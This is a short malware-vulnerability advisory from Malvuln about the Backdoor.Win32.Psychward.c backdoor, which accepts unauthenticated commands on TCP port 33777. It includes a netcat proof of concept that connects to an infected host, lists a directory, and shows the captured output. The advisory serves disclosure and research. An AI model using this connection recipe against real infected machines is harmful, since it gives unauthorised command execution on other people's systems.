Authored by malvuln | Site malvuln.com

Backdoor.Win32.Psychward.c malware suffers from a code execution vulnerability.

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/f60a8d71a822e0e485f22ada8f26c31e.txt
Contact: [email protected]
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Psychward.c
Vulnerability: Unauthenticated Remote Command Execution
Description: The malware listens on TCP port 33777. Remote attackers who can reach infected systems can execute commands made available by the backdoor.
Type: PE32
MD5: f60a8d71a822e0e485f22ada8f26c31e
Vuln ID: MVID-2021-0218
Disclosure: 05/18/2021

Exploit/PoC:
nc64.exe x.x.x.x 33777
son-of-pw 0.1
dir
<.>
<..>
<0409>
12520437.cpx (2151)
12520850.cpx (2233)
@AudioToastIcon.png (308)
@EnrollmentToastIcon.png (330)
@VpnToastIcon.png (404)
@WirelessDisplayToast.png (691)
aadauthhelper.dll (154624)
aadtb.dll (954880)
AboveLockAppHost.dll (252928)
accessibilitycpl.dll (3804160)
accountaccessor.dll (215552)
AccountsRt.dll (363520)
AcGenral.dll (2393600)
AcLayers.dll (372224)
acledit.dll (9216)
aclui.dll (5388800)
acppage.dll (68096)
AcSpecfc.dll (471552)
ActionCenter.dll (261632)
ActionCenterCPL.dll (541184)
ActivationClient.dll (30720)
ActivationManager.dll (444928)
activeds.dll (222720)
activeds.tlb (112128)
ActiveSyncProvider.dll (1546752)
actxprxy.dll (261632)
AcWinRT.dll (33792)
acwow64.dll (38400)

etc...

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